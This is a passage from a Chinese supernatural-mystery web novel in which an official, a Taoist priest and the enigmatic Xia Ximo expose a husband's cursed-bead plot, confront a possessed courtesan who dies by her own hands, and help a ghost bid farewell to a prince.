他吩咐着,下人们却面面相觑,谁也不敢上前一步。
直到任风玦厉声喝道:“听不见吗?松绑!”
“是…”
两名下人相视一眼,哆嗦着上前,手忙脚乱解开崔氏身上的绳子,又立即闪到了一旁。
颜正初上前微微行了一礼,“得罪了,少夫人。”
他目光一扫,走上前去,并右手食指与中指,捏了一道法诀,点在了崔氏的额头处。
金光映照之下,崔氏猛然睁开眼睛,一缕黑气从中弹出。
他左手出掌,默念法诀,袖中一枚铜钱飞到半空中,竟将那抹黑气吸了进去。
而崔氏也在这时,猛然从床上弹坐起来,张口吐出一物。
一颗珠子,掉落在地上,碎成两半。
房内众人皆惊诧不已。
然而这时,门外却传来一道声音:“爹,你们在这里做什么?”
任风玦与颜正初同时回头,只见一名男子站在廊下,而在他的身后,却怯生生站着一名女子。
只是,女子在抬头见到任风玦的那一刻,脸色煞白。
她下意识后退了一步,转身欲走,却又突然脚步顿住。
借着檐下灯火,只见院门口,夏熙墨正立在垂花门下,冷冷凝视着一切。
“原来是思梦姑娘…”
任风玦负手从房内走出来,目光望去,却第一时间看到了夏熙墨,不由得微微一顿。
这才继续说道:“没想到这里也能见到你,还真是巧。”
王家公子王瑞听他喊出“思梦”的名字,瞬间不悦了。
“你又是什么人?”
一旁的王员外立即骂道:“休得无理,这位是刑部的任大人。”
听是官员,王瑞多少有些心虚,不敢直面冲撞,却转头问父亲:“他来这里做什么?”
任风玦没说话,颜正初却“啧”了一声。
“说什么吓得不敢回家,原来是和红袖楼的姑娘鬼混去了?”
“还敢这般明目张胆带回家中来?”
“王员外,令郎这番行径,也不怕辱没了门风?”
第54章 休妻
颜正初一番话,令王员外瞬间面上无光。
他飞快扫了思梦一眼,皱眉道:“怎么不预先说一声,就什么人都往家里带?没看到有贵客在吗?”
王瑞像是听不懂父亲话里的深意,居然上前拉着思梦的手,情绪激动地说道:“爹,我跟思梦两情相悦,我不在乎她是青楼女子!”
“我要休了里面那个疯妇,我要娶思梦为妻!”
此言一出,别说王员外脸色大变,就连任风玦听得眉头紧锁。
“大逆不道!大逆不道!”
王员外气得直拍胸口。
他王家子嗣单薄,不惑之年才得一子。
原以为,看着儿子娶了新妇,再给自己添个孙子,这一生也算圆满了。
可是…
怎么会突然发生这样的事情?
任风玦忍不住上前一步,正色道:“按我大亓律法,既是三书六礼明媒正娶的妻子,若未犯七出之条,夫家无权休弃。”
“你与崔氏成婚不过一月,就敢说这样的话?是藐视律法?当婚姻是儿戏?”
他言辞凿凿,气势压人。
王瑞更加底气不足,但他还是指着房内的崔氏辩驳道:“这女人,刚嫁过来就疯了,不仅动手打我,连我父亲都打…”
“就这…我还休不得?”
颜正初冷冷一笑,“她为什么打你,你心里应该很清楚吧?”
闻言,王瑞心下更虚,却强作镇定道:“我怎么知道?分明是她有旧疾在身,故意隐瞒,我王家都没追责呢。”
“呵。”
颜正初继续冷嘲:“你也别嘴硬,不如等会让崔小姐来跟你当面对质。”
“……”
王瑞这才反应过来。
怎么不见崔氏有任何声响?
明明这崔氏的“疯病”一天比一天严重,但凡有人靠近,她便嘶喊不停。
可现在,房内却静得出奇。
他下意识朝房内看了一眼,却差点吓得魂飞魄散。
只见一个披头散发的妇人就立在门边,眼神冰冷地看着自己。
不是崔氏,又是谁?
“你这疯妇!”
王瑞做贼心虚,被吓得连连后退,又朝两旁下人喊道:“都愣着做什么?快点拿绳子绑住她啊!”
下人们不敢动,齐齐望向房内崔氏,眼神复杂。
这时,崔氏也开口了:“该绑的人不是我,而是你。”
她声音喑哑,像是心如死灰,声调却异常平静。
王瑞怒道:“你这疯妇在胡说什么?明明是你发疯在先,我们怕你伤人才绑你!”
崔氏扶在门上的手,指节隐隐发白,明显含着恨意,却向一旁说道:“小杏,你来说说,七天前那个晚上,到底发生了什么?”
那被唤作小杏的婢女浑身一震,看了一眼崔氏,又看了一眼王瑞,却扑向任风玦脚下。
“大人,奴婢是王家的婢女,少夫人自嫁入府上后,便一直是奴婢在伺候少夫人。”
这婢女既聪明又有眼力见,一来就先道明了“王家婢女”的身份。
这样一来,所说的话,也就不会被怀疑是在偏袒。
任风玦点头示意了一下,“你将所见所闻如实说来,本官自有判断。”
小杏这才战战兢兢说道:“那晚,公子醉酒归来,忽然跟少夫人吵了一架。”
“奴婢当时亲眼看见,公子将一颗鸽子蛋般大小的珠子,强行塞进了少夫人的嘴里。”
“之后,夫人便昏**过去,再醒来时,口不能言,才逐渐变成疯癫的样子…”
王瑞听了小杏的话,立即怒目圆睁,甚至想要上前扬手**,却被任风玦挡在了跟前。
“那珠子,真是你强行塞的?”
“她胡说八道!”王瑞自然不承认,“根本就没有珠子,都是丫鬟胡言!”
任风玦微微笑着,却自袖手中拿出一颗珠子,递到他跟前,反问道:“珠子就长这样,难道在污蔑你不成?”
被他这么一诈,王瑞果然上当。
他脸色大变:“怎么会在你这儿?我明明已经…”
意识到自己说错了话,当即腿脚一软,跌坐在地。
王员外见状,愈发痛心疾首。
又如何料得到,这事居然竟是自己儿子一手造成的?
他一把揪住王瑞的衣服,抬手就给了一巴掌,骂道:“你这个不孝子,竟敢干出这种事情!”<
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br>“我打死你!”
打骂间,犹不解气,甚至抬起手杖要**,却突然间被一只冰冷的手给拦截住了。
他回头望去,竟是那青楼女子。
“你…你竟敢!”
思梦阴冷一笑,竟挑衅道:“老东西,是我让他这么做的,你打他,有什么用?”
“你这妖女!”
王员外怒火攻心,也不手软,再次扬起手杖就要**,却被突然站起身的儿子王瑞,用力一推。
这一推,几乎用了全力,年迈的王员外哪里受得住?
眼见就要仰面倒了下去,却被一旁任风玦及时托了一把。
王员外经此一遭,虽没摔下去,却也气得差点当场昏过去。
混乱的场面,让人看得暗自咂舌。
唯有思梦,忽然扬起下巴,发出一串得意的长笑。
只见她施施然然走到任风玦面前,深深看了他一眼,又回头看了一眼不远处立于门下的夏熙墨。
她也不再掩饰什么,直言道:“你们还真是有些能耐,去了那间寺庙,居然还能活着回来?”
任风玦亦直截了当地问:“如烟是你杀的?”
思梦毫无忏悔之意,甚至一脸理所当然。
“没错,是主人借我的手,将她的魂魄与肉体活活剥离,她应该死得很绝望吧?”
“明明好日子就快要到了,看到了活着的希望,却再也没有活下去的机会。”
说着,她张狂且放肆地笑着,眼里尽是洋洋得意。
颜正初听不下去了:“好好的人不做,居然甘愿成为邪灵的奴仆?你也是没救了!”
思梦依然满不在乎。
“邪灵已被这位道长收服。”
任风玦问:“所以,你到头来又得到了什么?”
思梦却看了身畔的王瑞一眼,柔声说道:“我至少知道,被一个人爱着,护着,不论对错,不理世俗,无论如何都要在一起的滋味…”
“别骗你自己了。”
一道声音从众人背后响起,夜色下,夏熙墨缓步走来。
思梦回头,却见一道怜悯的目光正看向自己:“思梦妹妹,可贵的向来是真心,而并非虚情假意。”
第55章 断头
“你是谁?!”
一声“思梦妹妹”,彻底让思梦慌了神。
她死死盯着眼前之人,先是一阵惊慌,后又陷入了怀疑。
“不可能!你不可能是她!”
场内大多数人都不懂她话中的意思。
唯有任风玦,看出了一点端倪。
“难道又是附身?”
他轻喃了一句。
一旁的颜正初却“咦”了一声,像是在为自己找补:“这小姑娘身上阴气实在太重,我居然一时没看出来。”
那边,“夏熙墨”已经走到了思梦跟前来,用一种不同于往日的温柔语调轻声说道:“那日在郊外寺庙,你在那佛殿上所说的话,我都听到了。”
“你说,希望也有一人,能不嫌弃你的出身与经历,愿意将你迎娶进门,从此长相厮守,永不分离。”
“你渴求真心以待,可曾想过,‘真心’根本强求不来。”
思梦怒指向她:“谁要你在这里教训我?我爱怎么做就怎么做,与你何干?”
“你是我在红袖楼唯一的朋友…”
“夏熙墨”面上也淌着温柔的笑意,“我一直将你当作亲妹妹来看,自然不希望你误入歧途。”
闻言,思梦不屑地冷嗤了一声。
“别在这里假惺惺,你要真是如烟,就根本不可能跟我说这样的话!”
“是我杀了她,你要是她,现在就该直接杀了我报仇啊。”
“说这样的一番话试图感化我吗?做梦呢!”
因情绪激动,她眼眶开始泛起红意。
反观“夏熙墨”,竟是一脸平和。
“思梦,我已经不恨你了,之所以选择借这位姑娘的身体来见你,也并不是为了报仇。”
“你杀了人,犯下这些错事,自有官府来定夺。”
“我来只是想告诉你一件事,我原本…为你想过出路。”
她轻轻喟叹了一声,眼底也像是蒙了一层化不开的雾色。
可思梦听了这些话,却是一点也不领她的情。
“我不需要你替我想!”
“我从来没有把你当过姐姐!”
“从来没有过!”
她双肩颤动着,像是将压抑在心底的情绪彻底爆发而出,猛然冲上前去,一把掐住了“夏熙墨”的脖子。
任风玦一惊,想要上前制止,却发现对方身上竟萦绕着一股黑雾。
众人见状,纷纷后退,连那王瑞也像是从魔怔状态中幡然醒悟了过来,吓得往房里钻。
“不对!”
颜正初脸色骤变,“那邪灵不是已经灭了吗?怎还会有如此重的煞气?”
而任风玦则担心夏熙墨安危,才往前踏一步,却被颜正初拦住。
“小侯爷,你还是退后一些,交给我来。”
任风玦心知抓鬼还得靠他才行,便点了一下头,“颜道长,一定要保夏姑娘周全。”
颜正初不敢怠慢,自腰间取出一柄通体莹白的玉质短剑,一手执剑,一手捏诀,嘴里喊道:“到底是何方邪物?还不速速现出原形?”
玉剑破空而去,发出玉鸣之声,径自刺向思梦的后背。
此物于凡人而言,确实造不成什么杀伤力。
但若鬼怪妖邪碰了它,却是无处遁形。
哪知,那股黑雾全然不惧玉剑的灵气,反而形成了一股吸力,将玉剑牢牢定住。
颜正初一时进退不得,才算证实了心中的猜测。
看来那‘三头邪灵’不过只是小角色…
盗走养魂珠的邪物,只会更加棘手!
被阴煞之气包裹着的思梦,如同陷入了癫狂状态,她死死掐住“夏熙墨”的脖子,恶狠狠说道:“是你自己送到我手里来的!”
“你做人时,我杀你一次,现在做鬼了,我就让你再死一次!”
“如何啊?”
她笑容邪肆,随着手上力道加重,“夏熙墨”立即面露痛苦之色。
直到垂下眼眸,全身松软,不再动弹…
不远处的任风玦隐隐看在眼里,心下一颤,也顾不得那层黑雾,竟徒手伸入,一掌拍在思梦的肩头上。
任风玦常年习武,内功深厚,普通人承受他这一掌,只怕当场就要倒下了。
可思梦竟连脚下都不曾晃动一下,甚是手上力道不减。
黑雾越来越浓,几乎要将思梦与夏熙墨完全覆盖。
颜正初见状忙将任风玦拉开,干脆一咬牙,打算使出独门绝招。
他咬破左手食指,将血涂抹在剑柄之上,闭目念法诀,玉剑白光四溢,果然威力大增…
而在他们看不见的浓雾深处,夏熙墨缓缓
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睁开了眼睛。
不再是温柔怜悯的眼神,而是杀伐果断的凌然之色。
“跟这种无情无义的东西,废话什么?”
说话间,她垂在衣袖间的双手,逐次伸展而出。
思梦脸色一变,顿时如同受人操控一般,乖乖松开了手。
夏熙墨动了动有些僵直的头颅,冷冷凝视她,“喜欢掐脖子是吧?”
她又动了动手指。
思梦如同提线木偶一般,不受控制伸出双手掐住了自己的脖子。
“不要!”
随着一声惊叫溢出,一颗头颅滚落在地,鲜血翻涌而出。
玉剑冲破黑雾,刺向思梦,颜正初却看到了惊人的一幕——
思梦的躯干,以一个怪异的姿势伫立在月下,但头颅,竟在脚下!
黑雾散去,如此惊骇的场景,立即引起周边下人恐慌。
王老员外终于承受不住,吓得彻底昏**过去。
任风玦惊愕之余,见夏熙墨坐在地上,虽面色看起来有些虚弱,却并无明显外伤,甚至身上连血污都没溅上一滴。
心下竟松了一口气。
他快步上前扶她起身,一声“夏姑娘”正要脱口而出时,又一时认不准对方究竟还是不是本人。
直到对方淡然看了他一眼,眼神冰冷,不见一丝惧意,这才确定了身份。
“夏姑娘,你可还好?”
夏熙墨不语,直接扶着他的手臂慢慢起身,只是气力尚未恢复,整个人又软绵绵地靠在他的身上。
任风玦避免她摔倒,下意识扶住她的腰,惊觉不妥,一双手竟有些无处安放。
好在夏熙墨只在他怀中停留了片刻,面色稍稍缓和之后,才道:“没事了。”
对于旁边的尸体,她倒是半句都不想解释。
颜正初震惊半晌,目光在她身上流转一圈,问道:“夏姑娘,那如烟的鬼魂…”
“跟你没关系。”
对此,夏熙墨显然不想多言。
颜道长倒也难得没跟她计较,只是看她的眼神明显带着探究之意,他又斟酌着问:“那…思梦又是**的?”
总不能是他那把剑把人家脑袋给削了吧?
夏熙墨却看了任风玦一眼,眼神里带着深意:“不知道,让官府的人自己验尸去吧。”
第56章 道别
官府到场验尸后,却得出了一个十分骇人的结论。
思梦是被自己亲手拧断头颅而死的。
这般残忍的“**”方式,还真是闻所未闻。
若非场内有“活阎罗”坐镇,且由刑部专门接管此案,只怕还控不住这混乱的场面。
不过,案情一旦流传出去,少不了要在京中轰动一段时日。
处理完王家善后之事,已近子时。
忙碌了一整天,又经历了几次凶险,任风玦的身体已是十分疲累。
他走出王宅,门前倒换了一辆阔气的马车。
阿夏正在马车边候着,见他走来,便指着车内道:“那位道长,已经在车厢内睡下了。”
任风玦透过车帘看了一眼,果见颜正初正靠在车壁上,睡得香甜。
他见夜色深沉,倒也不忍吵醒他,便道:“先带他回府上吧。”
又问:“对了,夏姑娘已经回府了吗?”
阿夏摇头:“一刻钟前,夏姑娘去禹王府了。”
“禹王府?”
任风玦吃了一惊,“这个时辰去禹王府?”
“是。”
任风玦还想多问,转念一想,夏熙墨向来不是会有交代的人,阿夏也不可能会知道。
他略一思忖,便吩咐:“你先送我去一趟禹王府,再送颜道长回宅中休息。”
阿夏不假思索:“公子也要去禹王府?”
“……”
这话问得任风玦多少有些不自然。
好在阿夏立即反应了过来,“小的多嘴了,这就赶车…”
从王宅去往禹王府并不远,路程也就一炷香的功夫。
任风玦让阿夏在路边停了车,他打算自行去府上看看情况。
然而,走了没两步,又折回来吩咐道:“回去告诉任叔,安排颜道长住南院西厢房。”
阿夏稍微疑惑了一下。
为什么是南院而不是东院?
但想到夏姑娘,又瞬间通透了…
虽说东院三间房,夏姑娘住主房,东耳房住着婢女天青,东西两间厢房还空着。
即便如此,小侯爷也不愿旁人叨扰了夏姑娘休息…
甚至,宁可让出自己院中的厢房。
可谓用心良苦啊。
任风玦又哪知阿夏心中的弯弯绕绕,倒是不放心夏熙墨去禹王府究竟所为何事。
他朝王府的方向走近了几步,却见自己那辆“破马车”就停在门口。
而诡异的是,王府大门竟是半敞开着,两名金羽卫立在门边一动不动。
——
夏熙墨深夜叩响禹王府大门,也是引来了一阵轩然大波。
赵骍正是怕鬼怕得要命的时候,早早就抱着一堆辟邪之物躺下了。
听说有客登门,他说什么也不肯见。
然而,管家才走没多久,窗边便伫立着一道身影。
“我就说了,你想见他,他未必想见你。”
听到这声音,赵骍立即毛骨悚然。
“谁?”
窗外那人却不回话了。
赵骍握紧黄符,高喊一声:“来人,来人啊。”
可门外仆人竟也不回话。
他吓得不行,随即便听见房门被人推开,一道女子的身影倒映在地面上。
一步,两步,三步。
脚步轻细。
赵骍定睛一看,傻眼了:“是你!”
此时的夏熙墨虽一身女装打扮,但他还是一眼认出来了。
传闻中被任风玦藏在府上的神秘女子!
“你到底是怎么进来的?”
赵骍心里惊恐不已,面上却要强作镇定。
夏熙墨一脸理所当然:“你不肯出来,我只好自己进来。”
“……”
这话无疑是在打他禹王的脸,赵骍怒道:“王府岂是你这女人说进就进的吗?你别仗着有任风玦撑腰,就敢为所欲为!”
夏熙墨却懒得跟他废话,反手将一道黄符贴在渡魂灯上:“有什么话,现在可以直接跟他说了。”
“记住,你只有半炷香的时间。”
说着,她将渡魂灯放在桌案上,转身出了门。
一阵阴风吹过,案上烛火摇曳。
赵骍只觉得一层寒意笼罩过来,浑身气焰全消,他瞪大眼睛望着那盏古怪的黑色莲灯。
下一秒,只见一道女子的身影,慢慢在房中现了形。
“如…烟?”
如烟的魂魄在“
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符咒”作用之下,慢慢明晰,室内烛火映照之下,仿佛与生前一般模样。
可她的脚下,并没有影子。
赵骍惊愕之后,心下又是一阵恐惧,他连连后退,“你…别过来,我有法器和符咒护体!”
为了辟邪,禹王殿下也是不惜破费,从好几名道士手中买来各式各样的镇邪之物。
他也不在乎是真是假,此时,一股脑全抓在手上。
见他如此,如烟也不敢上前,却低声说道:“王爷不必害怕,如烟并无害人之心,只是来…向您道别的。”
说着,朝着他盈盈一拜,一如昔日在红袖楼内相见时的场景。
赵骍心下一震,面上神情更是复杂:“道别?你…”
如烟再抬起头来,眸中含泪,哽咽道:“那晚一别,竟就此阴阳两隔…”
“未能等到与王爷约定之日,如烟心中,始终感到遗憾。”
“如今,如烟在人间的路已经走完了,拜别王爷,心中再无牵挂。”
一番话,说得赵骍也有些心软了。
毕竟相识多年,即便身份悬殊,却不可能没有感情。
更何况,那么多次的肌肤相亲…
赵骍确定对方并无加害之心,这才慢慢放下心中恐惧,他开口问:“杀你的凶手是谁?本王…要替你报仇!”
如烟依然淌着娴静温柔的笑意,像许多次清晨,他在她的房间内醒来,见她坐在床榻旁,早已细心备好了一切所需。
她声音总是轻柔温和,像江南柳岸的风,轻轻吹到耳朵里。
“凶手已伏法,王爷不必再为如烟的事费心了。”
“愿王爷此后与庄小姐琴瑟和鸣,永结同心。”
望着她的样子慢慢模糊,赵骍才惊觉心中的不舍。
他忍不住上前一步,一声如烟还未喊出口,那道身影便化作了一道轻烟。
“如烟…”
赵骍伸手,轻烟在指尖绕了一圈,像是做最后的道别。
他望着烟雾消散,就像是黄粱梦一场,醒后怅然若失,久久不能回神。
直到夏熙墨的身影重新走进房间,从他身旁拿走了莲灯。
“你等等…”
第57章 借钱
“你究竟是什么人?”
对于这神秘女子,赵骍心中除了惊惧之外,还多了几分好奇。
夏熙墨收了灯,瞥了他一眼,冷冷说了一句:“往后每年今日,记得祭拜故人。”
赵骍只能眼睁睁看着她转身往外走,一如来时那般,悄无声息。
夜色如水,随着那道单薄的身影一路穿过王府庭院,那些魂识被无忧请进灯内的人,也相继清醒了过来。
走到王府大门,夏熙墨却见门口立着一道身影,而原本守在门前的两名金羽卫竟已不见。
任风玦靠在门边,低垂着头,像是已恭候多时。
他虽一身暗色,但颀长的身形,与卓然的气质,在夜色中依然瞩目。
只是若要细看,就会发现他眉宇间的疲惫之色。
夏熙墨脚步一顿,“你怎么在这?”
任风玦见到她,眸光微烁,却反问她:“这话应该由我来问夏姑娘吧?”
敢独自夜闯王府,已经不是胆识过人这么简单了。
简直是胆大包天!
夏熙墨却回答得云淡风轻:“办事。”
任风玦点了一下头,倒也没有多问,转头指着一旁马车,故意道:“夏姑娘停在门口那辆车,不介意我同乘吧?”
“我与你不同路。”
她说着,径自坐在车前。
任风玦却想,子时都已经过了,她竟还不打算回去?
“这么晚了,还有事?”
“嗯。”
她应了一声,忽然想到什么,抬眸问他:“如烟的尸体,你们会如何处置?”
任风玦倒不料她会问出这样的问题,想了想,才答:“案件由刑部专管,仵作验尸后,便停在了刑部衙门。”
“一般案件了结后,会告知家属前来领走尸体安葬。”
“若无人认领,将由衙门在结案后自行处置。”
夏熙墨却一本正经地说道:“既如此,如烟的尸体可否交予我来处置?”
这话又让任风玦愣住。
忽然想到如烟与禹王之间的关系…
不难猜出,她夜闯禹王府大概是为了完成如烟的遗愿。
便如那日在皇宫,孟志远一般。
任风玦不由得问:“你要亲自安葬她?”
夏熙墨顿了一下,才道:“算是。”
这事于任风玦而言,倒也并非什么难办之事。
只是如烟的尸体已处于半腐状态,仵作验尸之时,都是强压着心中恐惧。
她提这个要求,是当真不怕?
夏熙墨见他不答话,便道:“若是让你难办,我可以自己去。”
“……”
这意思很明显,他若不答应的话,就要直接闯刑部衙门了…
任风玦失笑:“不难办,案件已结,当然是让死者尽快入土为安更好。”
“只是尸体已成半腐之状,怕你难以承受。”
夏熙墨道:“只是一具尸体而已。”
她连鬼都不怕,难道还会怕一具尸体?
任风玦突然也觉得自己的担心多余,问她:“此事…可一定要现在去做?”
夏熙墨正要应声,却见月色之下,他眉宇之间略显疲态。
想到这漫长的一日,对于一个凡人之躯而言,确实有够沉重。
心下微微一动,便改口道:“明日也行。”
任风玦难得听她松口,心下莫名一阵舒畅,又直接坐上马车:“那劳烦夏姑娘载我一同回府。”
坐在车前的夏熙墨并没有立即驾车,侧着半张脸向他说道:“还有一事,想请你帮我。”
任风玦一阵意外:“何事?”
“借我一锭金子。”
——
任风玦从睡梦之中惊坐起来,见窗外晨光熹微,一时有些恍惚。
他又梦到了七岁那年,南川院起火,小叔失踪。
母亲抱着他哭泣,父亲眼底也一片沉痛。
后背不由得起了一阵冷汗。
阿秋听见动静,便来询问:“公子可醒了?”
“嗯,进来吧。”
阿秋端来洗漱之物,又说道:“昨夜在府上留宿的那位道长已经醒了,这会儿正在厅里用早膳。”
任风玦抚了抚略显沉重的额头,这才想起宅中还多了一个人,便道:“那将我的早膳也布在厅里。”
待他洗漱完毕去往前厅时,远远便听见颜正初的声音传来。
走近些,竟发现此人正与任丛及阿春打成了一片。
任丛问:“那王
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员外的公子最终与那崔氏如何了?”
颜正初呷了一口茶,煞有其事地说道:“走之前,听崔氏闹着要和离呢,王瑞本就是**未遂,若非那老员外跪在地上苦苦哀求,小侯爷只怕不会放过他…”
“咳。”
任风玦故意低咳了一声走近。
任丛与阿春闻声,吓得立即两边散开,可不敢再问。
“道长昨夜睡得可好?”
任风玦问着,便在他身旁坐了下来。
只见颜道长也换了一身簇新的衣裳,不仅头发梳得齐整,面上胡须也剃了去,这才看起来与他原本的年岁相符了一些。
听见小侯爷问话,他连忙起身来,装作一副客气的样子。
“昨夜还真是不好意思,明明只是想打个盹,结果睡着了。”
“实在是叨扰了!”
话虽这么说,但神色之间,显然对此非常满意。
任风玦接过阿秋递来的清粥小菜,一边吃着,一边慢慢说道:“道长也说了,我与云鹤山渊源颇深,既如此,招待道长,也是应该的。”
颜正初以为他要套自己的话,忙低头喝茶,并附和了一句:“一码归一码嘛,我一会儿赠几道灵符,感谢小侯爷收留。”
正说话间,门外却传来脚步声。
只见婢女天青走了进来,她笑着向任风玦说道:“公子,夏姑娘让奴婢来问问,是否可以出发了。”
此言一出,室内几人的神色都有些古怪。
任风玦当然没忘记与夏熙墨的“约定”,只是不料,对方会主动来催自己。
这种感觉很是微妙。
仿佛两人的关系,在无形之中悄悄拉近了一步。
他当即放下筷子:“就来…”
阿秋忍不住小声嘀咕:“公子,您还没吃两口呢。”
任风玦以茶漱口,轻拭嘴角,却向颜正初道:“道长若是不嫌寒舍简陋,便在此小住几日,我还有事,便先行一步。”
他走到门口处,却突然折了回来,又向任丛说道:“丛叔,一会儿你去库房拿一锭金子给这位道长。”
任丛与颜正初皆是一愣。
任风玦继续道:“夏姑娘答应给你的那锭金子,我先替她。”
第58章 余琅
任风玦并未领夏熙墨进刑部衙门。
而是吩咐衙役,将如烟尸体直接运出。
但奇怪的是,尸体竟已被一副上好的金丝楠木棺材安置好了。
经衙役说,棺材是一位贵人秘密送来的,未透露身份,只交代了一句,要好生安葬。
听了这话,荷包内的渡魂灯隐隐颤动了一下。
夏熙墨冷嗤:“送你一副棺材而已,何至于此?”
两名衙役也不知她在跟谁说话,一时面面相觑。
任风玦不难猜出送棺之人是谁,他只向夏熙墨:“尸体会安葬于郊外,夏姑娘可要同行?”
“不用。”
眼下只需要最后一步就够了。
夏熙墨让衙役将棺材开出一条缝隙,随后,将一只手伸了进去。
见到这幕,两名衙役吓得可谓大气都不敢喘。
任风玦也是面色一凝。
渡枉死之魂,须连带尸骨一同渡化。
唯有于尘世再无牵挂,尸骨所化作的齑粉,会在黄泉之间铺就一条归路,阴魂便可径自走向幽冥。
“好了。”
夏熙墨并不理旁人怎么看,见一点光亮在渡魂灯芯处消散,眉宇间,才微微展露出一丝释然。
这细微之处,当然没能逃过任大人的双眼。
他现下几乎可以确定。
她所做的一切,确实是在帮助那些冤死之人。
包括,给颜正初的那锭金子,应该是用来买什么符咒了。
先前在车上,对方请颜正初帮忙的事,他其实隐隐听到了一些。
倒不想,看似“冷血无情”的一个人,竟这般…厚道。
淡淡的笑意,不自觉从唇角流露,眸光也是饶有兴趣。
任风玦这一笑,也很快被夏熙墨察觉,两人相视了一眼。
她问:“你笑什么?”
任大人立即敛容,却道:“在想,夏姑娘欠我的那锭金子,什么时候还而已。”
“……”
自入人间来,夏熙墨确实还未想过银钱之事。
但见这皇城下,车水马龙,物欲横流,衣食住行确实都需要“钱”。
她突然问他:“那我,要如何才能有钱?”
这个问题倒把任风玦给难住了。
他自小锦衣玉食,应有尽有,眼下在刑部当官,还有俸禄。
宅中一切开销皆由任丛打理,他也从来无须考虑这些。
“这个…”
任风玦本就是随口逗逗她,哪里就真想过找她要呢?
以两家关系,就算退了婚,他也会替她想好安身之处,保她后半辈子衣食无忧。
正为难时,不远处却传来一声通报声。
“任大人,余少卿回来了。”
闻言,任风玦立即转移话题:“夏姑娘,我要回刑部衙门一趟,你若要回去,可以直接吩咐阿夏。”
夏熙墨应了一声,见他身影走远后,倒在原地愣了半晌。
灯内,无忧总算可以出来透气:“现在回去吗?我记得你好像还有事没有做。”
“记得。”
当日答应孟志远要向他夫人带话,这事还未应诺。
无忧见她一副若有所思的样子,便问她:“你不会真在想怎么赚金子吧?”
夏熙墨瞟了它一眼,没回话,转身直接走了。
——
余琅一路马不停蹄回到京城,家未回,大理寺也未去,径自就来刑部衙门找任风玦了。
在见到任大人那刻,他着实有种“三秋之隔”的错觉。
“余少卿辛苦了。”
“那确实辛苦…”
余琅故意搓了搓手臂,一脸夸张:“不仅辛苦,西泠县那地方,竟比京内还要冷!”
“还有,我这一路赶回来,都没来得及吃上饭…”
任风玦微微笑道:“已经吩咐衙门给你做了吃的。”
问他:“怎样?此去西泠县可有收获?”
余琅扬了扬眉:“下官既跑了这一趟,自然不会让大人失望。”
“那穆家,确实有问题…”
三日前傍晚,余琅抵达西泠县与瑶光汇合。
得知了穆家一些近况后,他便开始向穆府周边,四处打听。
说起来,西泠县内,几乎人人皆知穆家老爷穆铮,膝下只有一个女儿,唤作穆汀汀。
但这位穆家大小姐,从不在外露面,偶尔与丫鬟出门,也是坐在轿中吩咐。
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>乃至于,这么多年来,竟无人知晓她的相貌。
而对于,寄居在他们府上的那位表小姐,外人更是只听过没见过。
虽说大家闺秀不在外抛头露面很正常。
但大亓民风开放,每逢花朝、乞巧、元夕之类的节日,女儿家都是有机会出门踏青游玩的。
而穆家女儿的容貌至今无人知晓,单是这一点,就很可疑。
余琅又花了将近一天半的时间到处打听,最后,还是一位酒馆伙计跟他说:“这事,你不如直接跟穆府的人去打听。”
“他们家那位门房,每日黄昏都会来这里打酒,你到时候借机问问,兴许能问出一些什么。”
确实如伙计所言,当日黄昏,门房准时来了。
余琅最擅长做戏,他先装作喝多了酒,不小心撞翻了对方的酒坛子。
见他生气,便一个劲儿赔礼道歉,并让伙计拿店内最好的酒菜招待他。
门房一听是好酒,便走不动道,当即就坐下跟他喝了起来。
酒酣耳热之际,才开始向门房套话,这一来二去,果真让他问出了不对劲。
“那门房告诉我,府上那位表小姐,其实已经**…”
说到这里时,余琅也是神色凝重。
任风玦一侧眉峰轻提:“此话怎讲?”
“他原话是说,夏姑娘是在偏院冻死的,结果下葬三天,就从土里爬回来索命了。”
余琅说得都有些不寒而栗:“他当时虽喝得有点多,说话也含糊,但这话却说得真切。”
“因为那‘表小姐’死后回来当晚,是他给开的门,看得千真万确。”
对此,他也是大胆说出了自己的猜测。
“然后我就想,若按照他这么说,夏熙墨只怕早就**,眼下有两种可能——”
“其一,这京中两位,都有可能是假的嘛!”
“其二,其中一个,极有可能不是人!”
任风玦倏尔一笑,却问:“那除此之外,余少卿还查到什么根据没有?”
他话音刚落,却听见窗户响动,一身黑衣的瑶光轻盈跳了进来。
“一个醉酒老汉的话,哪能有什么根据?”
第59章 掩藏
余琅抚着胸口回头,一脸无奈。
“瑶光姑娘,你什么才能改掉这个‘有门不走,非要翻窗’的习惯?”
瑶光瞥了他一眼,“个人习惯,改不了。”
“更何况,任大人都没说什么,这可是刑部衙门。”
余琅一听,心里着实不服气,正待起身与她分辨。
任风玦却用手指敲了敲案台:“余少卿!”
知道任大人必然会偏袒,余琅只得重新坐回椅子上,闷声喝了一口茶。
“瑶光,那你说说,又查出了什么‘根据’?”
对于任风玦问话,瑶光态度明显恭敬许多,她道:“卑职已经问过那姓周的管家了。”
比起余琅“明察暗访”的手段,暗影司瑶光则像影子一样盯着穆府的一举一动。
她以绝顶轻功遣入,发现自穆夫人入狱自缢后,府内已遣散大多数下人,只留下几个老奴守着院子。
偌大的府邸,变得死气沉沉,传闻中那位“穆小姐”,也不知踪向。
发现了诡异之处,瑶光索性直接捉了那管家问话。
在问及夏熙墨与穆汀汀的下落时,周管家倒是给了一套说辞。
“夫人出事后,表小姐就去京中侯府了。”
“至于我家小姐她…也是可怜。”
“她自小得了癔症,这才极少外出见客,那日她又发了疯,还伤了表小姐,之后便失踪了。”
这套说辞,与仁宣侯府“那位”所说的一致,不排除他们之间早已通过气。
瑶光又将余琅从门房口中得知的消息说了出来。
“你们府上有人说,夏小姐‘死而复生,回来寻仇’又是怎么回事?”
周管家似乎吓得哆嗦了一下,却反应极快。
“我猜这话必是门房说的对不对?”
“他老眼昏花,还改不了嗜酒的毛病,错将我家小姐认成了夏小姐,又编了一些故事吓人!”
“他这人,就爱说些神神鬼鬼的东西,你说,这世上哪有鬼啊?”
瑶光又问:“穆侍郎便只有一个独女,如今失踪了,他也不着急?”
周管家叹了口气,“怎么没找呢?翻遍了整个西泠县,连带着旁边的州县,都找了!”
“也不知究竟是死是活…”
听了瑶光的叙述,余琅已经迫不及待要插话了,“以本公子来看,这周管家所说的话,才更可疑吧?”
“就好像是…提前编排好了措辞,等着你去问一样。”
瑶光瞪了他一眼,“他又怎知我会去问他?”
余琅笑了笑,“自然是京中这边早有预料啊…”
他说着,向任风玦扬了一下眉头,“大人,您说这回,我猜得对不对?”
任风玦不答,而是站起身来,开始在房中来回踱步。
因他常年习武,身姿挺拔,此时虽是一身常服,却掩不住身居高位者的凛然之气。
